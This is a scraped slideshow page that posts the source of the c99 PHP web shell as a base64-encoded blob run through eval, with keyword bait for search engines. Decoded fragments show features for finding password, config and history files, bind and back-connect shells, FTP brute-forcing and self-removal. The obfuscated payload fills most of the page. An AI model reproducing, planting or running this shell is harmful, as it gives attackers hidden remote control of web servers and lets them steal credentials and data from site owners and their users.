Successfully reported this slideshow.
<?php
$google = "c99,c99.txt,c99 shell,c99 bypass,tryag c99, c99.php";
eval(base64_decode("aWYgKCFmdW5jdGlvbl9leGlzdHMoImd...
ZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksDQogIGFycmF5KCJmaW5kIC5odHBhc3N3
ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gL...
KSB7ZXhpdCgiPGEgaHJlZj1cImh0dHA6Ly9ldmlsYzBkZXIuY29tXCI+aXNsYW1pY2RzaGVsbDwv
YT46IEFjY2VzcyBEZW5pZWQgLSB5b3VyIGhvc3QgKCIuZ...
aXplKSkge3JldHVybiBGQUxTRTt9DQogZWxzZQ0KIHsNCiAgaWYgKCRzaXplID49IDEwNzM3NDE4
MjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNzM3NDE4M...
IlxuIiwkcmVzdWx0KTt9DQogIGVsc2VpZiAoKCRyZXN1bHQgPSBgJGNtZGApICE9PSBGQUxTRSkg
e30NCiAgZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtI...
KSB7cmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8
L2ZvbnQ+Ijt9DQogZWxzZWlmICghaXNfd3JpdGFibGUoJ...
ZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpDQp7DQpmdW5jdGlvbiBteXNxbF9idWlsZHdoZXJl
KCRhcnJheSwkc2VwPSIgYW5kIiwkZnVuY3RzPWFycmF5K...
cm9yDQogaWYgb3V0cHV0X3R5cGUgPT0gMiwgb3V0cHV0IHdpdGhvdXQgY29udHJvbC1idXR0b25z
DQogaWYgb3V0cHV0X3R5cGUgPT0gMywgb3V0cHV0IHdpd...
dXJlKTwvZm9udD4iO30NCiR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaWYgKCR2IG9y
IHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHskb3BlbmJhc...
OiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9
cCB7TUFSR0lOLVRPUDogMHB4OyBNQVJHSU4tQk9UVE9NO...
MCkgeyRmcmVlID0gMDt9DQogaWYgKCR0b3RhbCA8IDApIHskdG90YWwgPSAwO30NCiAkdXNlZCA9
ICR0b3RhbC0kZnJlZTsNCiAkZnJlZV9wZXJjZW50ID0gc...
ICAgIHskc3FsX3RibD1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3RibCddKTt9DQogaWYg
KGlzc2V0KCRfUE9TVFsnc3FsX3RibF9hY3QnXSkpICAgI...
bnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztk
b2N1bWVudC5zcWwuc3FsX2FjdC52YWx1ZT0nc2VydmVyd...
PSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VM
RUNUIENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvd...
YCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0
ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0I...
ZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0
PSIxIj48Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj48Zm9yb...
IGVjaG8gIjxiPkZpbGU6PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxf
ZHVtcF9maWxlXCIgdmFsdWU9XCIiLiR0bXAuIlwiIHNpe...
bF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1bWVudC5z
cWwuc3FsX2RiLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX...
XCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Nl
cnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgb...
ICAgIH0NCiAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30NCiAgICAgIGVjaG8gIjxm
b3JtIG1ldGhvZD1cIlBPU1RcIj48aW5wdXQgdHlwZT1cI...
ew0KICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOw0KICAgICAgICBpZiAoJHYgPT0g
IiIpIHskdiA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+T...
ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwu
c3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoY...
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
c99
Upcoming SlideShare
Loading in …5
×

c99

395 views

Published on

  • Be the first to comment

  • Be the first to like this

c99

  1. 1. <?php $google = "c99,c99.txt,c99 shell,c99 bypass,tryag c99, c99.php"; eval(base64_decode("aWYgKCFmdW5jdGlvbl9leGlzdHMoImdldG1pY3JvdGltZSIpKSB7ZnVuY3Rpb24 gZ2V0bWljcm90 aW1lKCkge2xpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0 dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7fX0NCmVycm9yX3JlcG9ydGluZyg1KTsN CkBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7 DQokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iOw0KZGVmaW5l KCJzdGFydHRpbWUiLGdldG1pY3JvdGltZSgpKTsNCmlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygp KSB7aWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7ZnVuY3Rpb24gc3RyaXBzKCYkYXJy LCRrPSIiKSB7aWYgKGlzX2FycmF5KCRhcnIpKSB7Zm9yZWFjaCgkYXJyIGFzICRrPT4kdikge2lm IChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHtzdHJpcHMoJGFyclsiJGsiXSk7fX19IGVs c2UgeyRhcnIgPSBzdHJpcHNsYXNoZXMoJGFycik7fX19IHN0cmlwcygkR0xPQkFMUyk7fQ0KJF9S RVFVRVNUID0gYXJyYXlfbWVyZ2UoJF9DT09LSUUsJF9QT1NUKTsNCmZvcmVhY2goJF9SRVFVRVNU IGFzICRrPT4kdikge2lmICghaXNzZXQoJCRrKSkgeyQkayA9ICR2O319DQokc2h2ZXIgPSAiIGVk aXRpb24gQURWQU5DRUQiOw0KaWYgKGVtcHR5KCRzdXJsKSkNCnsNCiAkc3VybCA9ICRfU0VSVkVS WydQSFBfU0VMRiddOw0KfQ0KJHN1cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsNCg0KJHRp bWVsaW1pdCA9IDA7DQokaG9zdF9hbGxvdyA9IGFycmF5KCIqIik7DQokbG9naW5fdHh0ID0gIkFk bWluIGFyZWEiOw0KJGFjY2Vzc2RlbmllZG1lc3MgPSAiZGllIGxpa2UgdGhlIHJlc3QiOw0KJGd6 aXBlbmNvZGUgPSBUUlVFOw0KJGM5OXNoX3NvdXJjZXN1cmwgPSAiIjsgLy9Tb3VyY2VzLXNlcnZl cg0KJGZpbGVzdGVhbHRoID0gVFJVRTsNCiRkb25hdGVkX2h0bWwgPSAiIjsNCiRkb25hdGVkX2Fj dCA9IGFycmF5KCIiKTsNCiRjdXJkaXIgPSAiLi8iOw0KJHRtcGRpciA9ICIiOw0KJHRtcGRpcl9s b2cgPSAiLi8iOw0KDQokbG9nX2VtYWlsID0gInVzZXJAaG9zdC5nb3YiOw0KJHNvcnRfZGVmYXVs dCA9ICIwYSI7DQokc29ydF9zYXZlID0gVFJVRTsNCg0KJGZ0eXBlcyAgPSBhcnJheSgNCiAiaHRt bCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwNCiAidHh0Ij0+YXJyYXkoInR4dCIsImNv bmYiLCJiYXQiLCJzaCIsImpzIiwiYmFrIiwiZG9jIiwibG9nIiwic2ZjIiwiY2ZnIiwiaHRhY2Nl c3MiKSwNCiAiZXhlIj0+YXJyYXkoInNoIiwiaW5zdGFsbCIsImJhdCIsImNtZCIpLA0KICJpbmki PT5hcnJheSgiaW5pIiwiaW5mIiksDQogImNvZGUiPT5hcnJheSgicGhwIiwicGh0bWwiLCJwaHAz IiwicGhwNCIsImluYyIsInRjbCIsImgiLCJjIiwiY3BwIiwicHkiLCJjZ2kiLCJwbCIpLA0KICJp bWciPT5hcnJheSgiZ2lmIiwicG5nIiwianBlZyIsImpmaWYiLCJqcGciLCJqcGUiLCJibXAiLCJp Y28iLCJ0aWYiLCJ0aWZmIiwiYXZpIiwibXBnIiwibXBlZyIpLA0KICJzZGIiPT5hcnJheSgic2Ri IiksDQogInBocHNlc3MiPT5hcnJheSgic2VzcyIpLA0KICJkb3dubG9hZCI9PmFycmF5KCJleGUi LCJjb20iLCJwaWYiLCJzcmMiLCJsbmsiLCJ6aXAiLCJyYXIiLCJneiIsInRhciIpDQopOw0KDQoN CiRleGVmdHlwZXMgID0gYXJyYXkoDQogZ2V0ZW52KCJQSFBSQyIpLiIgLXEgJWYlIiA9PiBhcnJh eSgicGhwIiwicGhwMyIsInBocDQiKSwNCiAicGVybCAlZiUiID0+IGFycmF5KCJwbCIsImNnaSIp DQopOw0KDQokcmVneHBfaGlnaGxpZ2h0ICA9IGFycmF5KA0KICBhcnJheShiYXNlbmFtZSgkX1NF UlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4iLCI8L2ZvbnQ+Iiks DQogIGFycmF5KCJjb25maWcucGhwIiwxKSAvLyBleGFtcGxlDQopOw0KDQokc2FmZW1vZGVfZGlz a2V0dGVzID0gYXJyYXkoImEiKTsNCiRoZXhkdW1wX2xpbmVzID0gODsNCiRoZXhkdW1wX3Jvd3Mg PSAyNDsNCiRuaXhwd2RwZXJwYWdlID0gMTAwOw0KJGJpbmRwb3J0X3Bhc3MgPSAiYzk5bWFkIjsN CiRiaW5kcG9ydF9wb3J0ID0gIjMxMzczIjsNCiRiY19wb3J0ID0gIjMxMzczIjsNCiRkYXRhcGlw ZV9sb2NhbHBvcnQgPSAiODA4MSI7DQppZiAoISR3aW4pDQp7DQogJGNtZGFsaWFzZXMgPSBhcnJh eSgNCiAgYXJyYXkoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tIiwgImxzIC1sYSIpLA0KICBhcnJheSgiZmluZCBhbGwgc3VpZCBmaWxl cyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogIGFycmF5KCJmaW5kIHN1 aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1s cyIpLA0KICBhcnJheSgiZmluZCBhbGwgc2dpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVy bSAtMDIwMDAgLWxzIiksDQogIGFycmF5KCJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIi LCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBjb25m aWcuaW5jLnBocCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIp LA0KICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwi Y29uZmlnKlwiIiksDQogIGFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIi LCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgYXJyYXkoImZpbmQgYWxs IHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiwgImZpbmQgLyAtcGVybSAtMiAtbHMiKSwNCiAg YXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGly IiwgImZpbmQgLiAtcGVybSAtMiAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHNlcnZpY2UucHdk IGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJm aW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1u YW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLCAi
  2. 2. ZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksDQogIGFycmF5KCJmaW5kIC5odHBhc3N3 ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2Qi KSwNCiAgYXJyYXkoImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiLCAiZmluZCAvIC10eXBl IGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLA0KICBhcnJheSgiZmluZCAuYmFzaF9oaXN0b3J5IGZp bGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3Rvcnki KSwNCiAgYXJyYXkoImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUg ZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgYXJyYXkoImZpbmQgLmZldGNobWFpbHJjIGZpbGVz IGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLA0K ICBhcnJheSgibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQg ZmlsZSBzeXN0ZW0iLCAibHNhdHRyIC12YSIpLA0KICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMi LCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogKTsNCn0NCmVsc2UNCnsNCiAkY21k YWxpYXNlcyA9IGFycmF5KA0KICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAiZGlyIiksDQogIGFycmF5KCJzaG93IG9w ZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiIpDQogKTsNCn0NCg0KJHNlc3NfY29va2llID0gImM5 OXNodmFycyI7DQoNCiR1c2Vmc2J1ZmYgPSBUUlVFOw0KJGNvcHlfdW5zZXQgPSBGQUxTRTsNCg0K JHF1aWNrbGF1bmNoID0gYXJyYXkoDQogYXJyYXkoIjxiPjxocj5IT01FPC9iPiIsJHN1cmwpLA0K IGFycmF5KCI8Yj48PTwvYj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuYmFjaygxKSIpLA0KIGFy cmF5KCI8Yj49PjwvYj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuZ28oMSkiKSwNCiBhcnJheSgi PGI+VVBESVI8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nbHMn O2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJXVwZCc7ZG9jdW1lbnQudG9kby5zb3J0LnZhbHVlPScl c29ydCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwgICAgICANCiBhcnJheSgiPGI+U2VhcmNo PC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3NlYXJjaCc7ZG9j dW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJh eSgiPGI+QnVmZmVyPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9 J2ZzYnVmZic7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQo KTsiKSwNCiBhcnJheSgiPGI+VG9vbHM8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2Rv LmFjdC52YWx1ZT0ndG9vbHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRv ZG8uc3VibWl0KCk7IiksDQogYXJyYXkoIjxiPlByb2MuPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9j dW1lbnQudG9kby5hY3QudmFsdWU9J3Byb2Nlc3Nlcyc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPScl ZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiAgYXJyYXkoIjxiPmh0YWNjZXNzJzwvYj4i LCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdodGFjc3MnO2RvY3VtZW50 LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7IiksDQogIGFycmF5KCI8 Yj5jb25maWcgc3B5PC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9 J2NvbmZzcHknO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0 KCk7IiksDQogIGFycmF5KCI8Yj52YmhhY2snPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQu dG9kby5hY3QudmFsdWU9J2luZGV4eCc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1l bnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJheSgiPGI+RlRQIGJydXRlPC9iPiIsIiNcIiBvbmNs aWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2Z0cHF1aWNrYnJ1dGUnO2RvY3VtZW50LnRv ZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7IiksDQogYXJyYXkoIjxiPlNl Yy48L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nc2VjdXJpdHkn O2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7IiksDQog YXJyYXkoIjxiPlNRTDwvYj4iLCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVl PSdzcWwnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7 IiksDQogYXJyYXkoIjxiPlBIUC1jb2RlPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9k by5hY3QudmFsdWU9J2V2YWwnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRv ZG8uc3VibWl0KCk7IiksDQogYXJyYXkoIjxiPlNlbGYgcmVtb3ZlPC9iPiIsIiNcIiBvbmNsaWNr PVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3NlbGZyZW1vdmUnO2RvY3VtZW50LnRvZG8uc3Vi bWl0KCk7IiksDQogYXJyYXkoIjxiPkxvZ291dDwvYj4iLCIjXCIgb25jbGljaz1cImlmIChjb25m aXJtKCdBcmUgeW91IHN1cmU/JykpIHdpbmRvdy5jbG9zZSgpIikNCik7DQoNCiRoaWdobGlnaHRf YmFja2dyb3VuZCA9ICIjYzBjMGMwIjsNCiRoaWdobGlnaHRfYmcgPSAiI0ZGRkZGRiI7DQokaGln aGxpZ2h0X2NvbW1lbnQgPSAiIzZBNkE2QSI7DQokaGlnaGxpZ2h0X2RlZmF1bHQgPSAiIzAwMDBC QiI7DQokaGlnaGxpZ2h0X2h0bWwgPSAiIzEzMDBGRiI7DQokaGlnaGxpZ2h0X2tleXdvcmQgPSAi IzAwNzcwMCI7DQokaGlnaGxpZ2h0X3N0cmluZyA9ICIjMDAwMDAwIjsNCg0KQCRmID0gJF9SRVFV RVNUWyJmIl07DQpAZXh0cmFjdCgkX1JFUVVFU1RbImM5OXNoY29vayJdKTsNCi8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCkBzZXRfdGltZV9saW1pdCgwKTsNCiR0bXAgPSBh cnJheSgpOw0KZm9yZWFjaCgkaG9zdF9hbGxvdyBhcyAkaz0+JHYpIHskdG1wW10gPSBzdHJfcmVw bGFjZSgiXFwqIiwiLioiLHByZWdfcXVvdGUoJHYpKTt9DQokcyA9ICIhXigiLmltcGxvZGUoInwi LCR0bXApLiIpJCFpIjsNCmlmICghcHJlZ19tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikp IGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0YnlhZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkp
  3. 3. KSB7ZXhpdCgiPGEgaHJlZj1cImh0dHA6Ly9ldmlsYzBkZXIuY29tXCI+aXNsYW1pY2RzaGVsbDwv YT46IEFjY2VzcyBEZW5pZWQgLSB5b3VyIGhvc3QgKCIuZ2V0ZW52KCJSRU1PVEVfQUREUiIpLiIp IG5vdCBhbGxvdyIpO30NCmlmICghZW1wdHkoJGxvZ2luKSkNCnsNCiBpZiAoZW1wdHkoJG1kNV9w YXNzKSkgeyRtZDVfcGFzcyA9IG1kNSgkcGFzcyk7fQ0KIGlmICgoJF9TRVJWRVJbIlBIUF9BVVRI X1VTRVIiXSAhPSAkbG9naW4pIG9yIChtZDUoJF9TRVJWRVJbIlBIUF9BVVRIX1BXIl0pICE9ICRt ZDVfcGFzcykpDQogew0KICBpZiAoZW1wdHkoJGxvZ2luX3R4dCkpIHskbG9naW5fdHh0ID0gc3Ry aXBfdGFncyhlcmVnX3JlcGxhY2UoIiZuYnNwO3w8YnI+IiwiICIsJGRvbmF0ZWRfaHRtbCkpO30N CiAgaGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cIiIuJGxvZ2luX3R4dC4i XCIiKTsNCiAgaGVhZGVyKCJIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkIik7DQogIGV4aXQoJGFj Y2Vzc2RlbmllZG1lc3MpOw0KIH0NCn0NCg0KaWYgKGlzc2V0KCRfUE9TVFsnYWN0J10pKSAkYWN0 ICA9ICRfUE9TVFsnYWN0J107DQppZiAoaXNzZXQoJF9QT1NUWydkJ10pKSAkZCAgICA9IHVybGRl Y29kZSgkX1BPU1RbJ2QnXSk7DQppZiAoaXNzZXQoJF9QT1NUWydzb3J0J10pKSAkc29ydCA9ICRf UE9TVFsnc29ydCddOw0KaWYgKGlzc2V0KCRfUE9TVFsnZiddKSkgJGYgICAgPSAkX1BPU1RbJ2Yn XTsNCmlmIChpc3NldCgkX1BPU1RbJ2Z0J10pKSAkZnQgICA9ICRfUE9TVFsnZnQnXTsNCmlmIChp c3NldCgkX1BPU1RbJ2dyZXAnXSkpICRncmVwID0gJF9QT1NUWydncmVwJ107DQppZiAoaXNzZXQo JF9QT1NUWydwcm9jZXNzZXNfc29ydCddKSkgJHByb2Nlc3Nlc19zb3J0ID0gJF9QT1NUWydwcm9j ZXNzZXNfc29ydCddOw0KaWYgKGlzc2V0KCRfUE9TVFsncGlkJ10pKSAkcGlkICA9ICRfUE9TVFsn cGlkJ107DQppZiAoaXNzZXQoJF9QT1NUWydzaWcnXSkpICRzaWcgID0gJF9QT1NUWydzaWcnXTsN CmlmIChpc3NldCgkX1BPU1RbJ2Jhc2U2NCddKSkgJGJhc2U2NCAgPSAkX1BPU1RbJ2Jhc2U2NCdd Ow0KaWYgKGlzc2V0KCRfUE9TVFsnZnVsbGhleGR1bXAnXSkpICRmdWxsaGV4ZHVtcCAgPSAkX1BP U1RbJ2Z1bGxoZXhkdW1wJ107DQppZiAoaXNzZXQoJF9QT1NUWydjJ10pKSAkYyAgPSAkX1BPU1Rb J2MnXTsNCmlmIChpc3NldCgkX1BPU1RbJ3doaXRlJ10pKSAkd2hpdGUgID0gJF9QT1NUWyd3aGl0 ZSddOw0KaWYgKGlzc2V0KCRfUE9TVFsnbml4cGFzc3dkJ10pKSAkbml4cGFzc3dkICA9ICRfUE9T VFsnbml4cGFzc3dkJ107DQoNCiRsYXN0ZGlyID0gcmVhbHBhdGgoIi4iKTsNCmNoZGlyKCRjdXJk aXIpOw0KJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7 DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGEpKSB7JHNlc3NfZGF0YSA9IGFycmF5KCk7fQ0KaWYg KCFpc19hcnJheSgkc2Vzc19kYXRhWyJjb3B5Il0pKSB7JHNlc3NfZGF0YVsiY29weSJdID0gYXJy YXkoKTt9DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1 dCJdID0gYXJyYXkoKTt9DQoNCiRkaXNhYmxlZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0 aW9ucyIpOw0KaWYgKCFlbXB0eSgkZGlzYWJsZWZ1bmMpKQ0Kew0KICRkaXNhYmxlZnVuYyA9IHN0 cl9yZXBsYWNlKCIgIiwiIiwkZGlzYWJsZWZ1bmMpOw0KICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUo IiwiLCRkaXNhYmxlZnVuYyk7DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlfYnVmZl9w cmVwYXJlIikpDQp7DQpmdW5jdGlvbiBjOTlfYnVmZl9wcmVwYXJlKCkNCnsNCiBnbG9iYWwgJHNl c3NfZGF0YTsNCiBnbG9iYWwgJGFjdDsNCiBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAk az0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RP UllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQ0KIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0g YXMgJGs9PiR2KSB7JHNlc3NfZGF0YVsiY3V0Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJF Q1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQ0KICRzZXNzX2RhdGFbImNvcHkiXSA9IGFy cmF5X3VuaXF1ZSgkc2Vzc19kYXRhWyJjb3B5Il0pOw0KICRzZXNzX2RhdGFbImN1dCJdID0gYXJy YXlfdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTsNCiBzb3J0KCRzZXNzX2RhdGFbImNvcHkiXSk7 DQogc29ydCgkc2Vzc19kYXRhWyJjdXQiXSk7DQogaWYgKCRhY3QgIT0gImNvcHkiKSB7Zm9yZWFj aCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY29weSJdWyRr XSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pOyB9fX0NCiBlbHNlIHtmb3Jl YWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY3V0Il1b JGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fX0NCn0NCn0NCmM5OV9i dWZmX3ByZXBhcmUoKTsNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlfc2Vzc19wdXQiKSkNCnsN CmZ1bmN0aW9uIGM5OV9zZXNzX3B1dCgkZGF0YSkNCnsNCiBnbG9iYWwgJHNlc3NfY29va2llOw0K IGdsb2JhbCAkc2Vzc19kYXRhOw0KIGM5OV9idWZmX3ByZXBhcmUoKTsNCiAkc2Vzc19kYXRhID0g JGRhdGE7DQogJGRhdGEgPSBzZXJpYWxpemUoJGRhdGEpOw0KIHNldGNvb2tpZSgkc2Vzc19jb29r aWUsJGRhdGEpOw0KfQ0KfQ0KZm9yZWFjaCAoYXJyYXkoInNvcnQiLCJzcWxfc29ydCIpIGFzICR2 KQ0Kew0KIGlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHskJHYgPSAkX1BPU1RbJHZdO30NCn0NCmlm ICgkc29ydF9zYXZlKQ0Kew0KIGlmICghZW1wdHkoJHNvcnQpKSB7c2V0Y29va2llKCJzb3J0Iiwk 